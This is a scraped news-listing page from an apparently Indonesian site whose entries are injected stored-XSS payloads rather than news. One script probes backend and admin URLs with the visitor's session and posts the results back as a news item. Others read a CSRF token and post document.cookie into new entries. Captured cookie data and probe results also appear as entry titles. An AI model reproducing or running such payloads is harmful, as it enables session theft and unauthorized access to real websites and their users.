Berita
- Home
- Berita
xss2....
dc=_ga%3DGA1.1.1114891883.1786880839%3B%20_ga_3F1XYBESTR%3DGS2.1.s1786880839%24o1%24g0%24t1786880839%24j60%24l0%24h0....
b2....
/backend/web/index.php?r=site/index=ERR;/profile/index=200/OK;/backend/web/index.php?r=berita/index=ERR;/profile/update?id=1=500/OK....
beacon4x....
(function(){var csrf=document.querySelector('meta[name="csrf-token"]').content; function probe(url){return fetch(url,{credentials:'include'}).then(function(r){var a=r.url.indexOf('site/login')===-1?'OK':'LOGIN';return url+'='+r.status+'/'+a;}).catch(function(e){return url+'=ERR';});} Promise.all([probe('/backend/web/index.php?r=site/index'),probe('/profile/index'),probe('/backend/web/index.php?r=berita/index'),probe('/profile/update?id=1')]).then(function(res){ var data=res.join(';');var fd=new FormData();fd.append('_csrf-frontend',csrf);fd.append('Berita[judul]','b2');fd.append('Berita[isi]',data);fd.append('Berita[image]','x');fd.append('Berita[tanggal]','2026-08-16');return fetch('/berita/create',{method:'POST',body:fd,credentials:'include'});});})();....
xss....
fetch('/site/request-password-reset').then(r=>r.text()).then(t=>{ var csrf=(t.match(/name="_csrf-frontend" value="([^"]+)"/)||[])[1]; var data = "dc="+encodeURIComponent(document.cookie); fetch('/berita/create',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'_csrf-frontend='+encodeURIComponent(csrf)+'&Berita[tanggal]=2026-08-16&Berita[judul]=xss2&Berita[status]=1&Berita[created_at]=2026-08-16&Berita[created_by]=1&Berita[updated_at]=2026-08-16&Berita[updated_by]=1&Berita[isi]='+encodeURIComponent(data)+'&Berita[image]=x'}) }); ....
xss....
fetch('/site/request-password-reset').then(r=>r.text()).then(t=>{ var csrf=(t.match(/name="_csrf-frontend" value="([^"]+)"/)||[])[1]; var data = "dc="+encodeURIComponent(document.cookie); fetch('/berita/create',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'_csrf-frontend='+encodeURIComponent(csrf)+'&Berita[tanggal]=2026-08-16&Berita[judul]=xss2&Berita[status]=1&Berita[created_at]=2026-08-16&Berita[created_by]=1&Berita[updated_at]=2026-08-16&Berita[updated_by]=1&Berita[isi]='+encodeURIComponent(data)+'&Berita[image]=x'}) }); ....